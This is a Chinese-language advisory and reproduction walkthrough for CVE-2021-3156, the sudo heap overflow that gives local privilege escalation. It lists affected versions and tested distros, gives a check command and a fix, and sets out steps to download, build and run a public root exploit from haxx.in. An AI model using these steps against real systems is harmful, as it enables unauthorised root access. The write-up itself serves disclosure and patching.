一、漏洞介绍
当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或 -i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件,这个文件通常是在/etc/sudoers,攻击者就可以使用本地普通用户利用sudo获得系统root权限。
任何本地用户(普通用户和系统用户,sudoer和非sudoers)都可以利用此漏洞,而无需进行身份验证,攻击者不需要知道用户的密码。成功利用此漏洞可以获得root权限。
用户可以使用如下方法进行自查:以非root用户登录系统,并使用下面命令进行检查。
sudoedit -s /
-
如果响应一个以sudoedit:开头的报错,那么表明存在漏洞。
-
如果响应一个以usage:开头的报错,那么表明补丁已经生效。
二、影响版本
0x01 受影响版本
Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1
0x02 不受影响版本
Sudo =>1.9.5p2
0x03 漏洞测试成功的linux版本
Ubuntu 16.04.5 kernel 4.15.0-29-generic
Ubuntu 18.04.1 kernel 4.15.0-20-generic
Ubuntu 19.04 kernel 5.0.0-15-generic
Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
Linux Mint 19 kernel 4.15.0-20-generic
Xubuntu 16.04.4 kernel 4.13.0-36-generic
ElementaryOS 0.4.1 4.8.0-52-generic
Backbox 6 kernel 4.18.0-21-generic
Parrot OS 4.5.1 kernel 4.19.0-
parrot1-13t-amd64 Kali kernel 4.19.0-
kali5-amd64
Redcore 1806 (LXQT) kernel 4.16.16-
redcoreMX 18.3 kernel 4.19.37-2~mx17+1
RHEL 8.0 kernel 4.18.0-80.el8.x86_64
Debian 9.4.0 kernel 4.9.0-6-amd64
Debian 10.0.0 kernel 4.19.0-5-amd64
Devuan 2.0.0 kernel 4.9.0-6-amd64
SparkyLinux 5.8 kernel 4.19.0-5-amd64
Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
Manjaro 18.0.3 kernel 4.19.23-1-
MANJAROMageia 6 kernel 4.9.35-desktop-1.mga6
Antergos 18.7 kernel 4.17.6-1-ARCH
三、漏洞复现
0x01 环境搭建
(1):查看系统内核
lsb_release -a
(2):查看sudo版本
sudo -V
(3):测试是否存在漏洞
sudoedit -s /
0x02 漏洞复现
(1):POC地址
https://haxx.in/CVE-2021-3156nsspoc_ubuntu.tar.gz
(2):进行解压
tar -zxvf CVE-2021-3156_nss_poc_ubuntu.tar.gz
cd CVE-2021-3156
(3):查看当前用户权限
id
(4):进行编译执行
make
./sudo-hax-me-a-sandwich 0
四、修复方案
0x01 升级到安全版本
sudo官方下载链接:https://www.sudo.ws/download.html
参考链接:
https://mp.weixin.qq.com/s/RMnEX6biUcG-koiLpK-PGQ
https://mp.weixin.qq.com/s/aStDjofSBsK8efkV-34f5A
原文始发于微信公众号(想走安全的小白):CVE-2021-3156Sudo 堆缓冲区溢出漏洞提权漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论